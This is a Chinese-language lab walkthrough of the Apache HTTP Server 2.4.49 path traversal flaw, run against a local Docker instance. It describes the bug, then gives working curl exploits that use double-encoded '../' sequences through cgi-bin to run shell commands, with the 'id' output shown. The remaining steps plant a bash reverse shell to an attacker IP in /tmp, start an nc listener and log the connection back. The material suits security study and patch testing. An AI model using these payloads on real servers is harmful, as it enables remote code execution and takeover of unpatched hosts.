在 Apache HTTP Server 2.4.49 的路径规范化更改中发现了一个缺陷。攻击者可以利用路径遍历攻击将 URL 映射到 Alias 类指令所配置目录之外的文件。
如果这些目录之外的文件没有受到通常默认配置 "require all denied" 的保护,这些请求可能成功。如果 CGI 脚本也在这些别名路径上启用,这可能导致远程代码执行。
该问题已知在野外被利用。
此问题仅影响 Apache 2.4.49,不影响更早版本。
路径遍历攻击(也称为目录遍历)旨在访问存储在 Web 根文件夹之外的文件和目录。通过操纵引用文件的变量(使用“点-点-斜杠(../)”序列及其变体)或使用绝对文件路径,可能访问文件系统上的任意文件和目录,包括应用程序源代码、配置文件和关键系统文件。需要注意的是,对文件的访问受系统操作访问控制限制(例如在 Microsoft Windows 操作系统中锁定或正在使用的文件)。
此攻击也称为“点-点-斜杠”、“目录遍历”、“目录爬升”和“回溯”。
$ docker-compose build
$ docker-compose up
确认其工作
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
受害者:localhost:1234
攻击者:192.168.1.12
根据文档,这是一个允许我们在远程执行代码(RCE)的缺陷。
我们可以通过使用 cgi-bin 文件夹进行 curl 来利用它。
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
让我们看看是否真的有命令执行权限,例如 id:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. 反向 Shell
我们将通过在受害者的服务器上创建一个 bash 文件来测试反向 shell。
以 PayloadsAllTheThings 仓库中的 bash 反向 shell 为例。
示例如下:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
让我们在受害机器的 /tmp/ 文件夹中创建文件 vuln.sh!
该文件将包含我们的反向 shell,我们可以远程运行它。它将连接到我们本地机器的 44 端口。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
你可以用 cat 命令检查文件内容
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. 使用 ncat 创建监听器
让我们在本地机器上创建监听器。
$ nc -lvnp 44
剩下的就是执行远程文件。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
响应:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.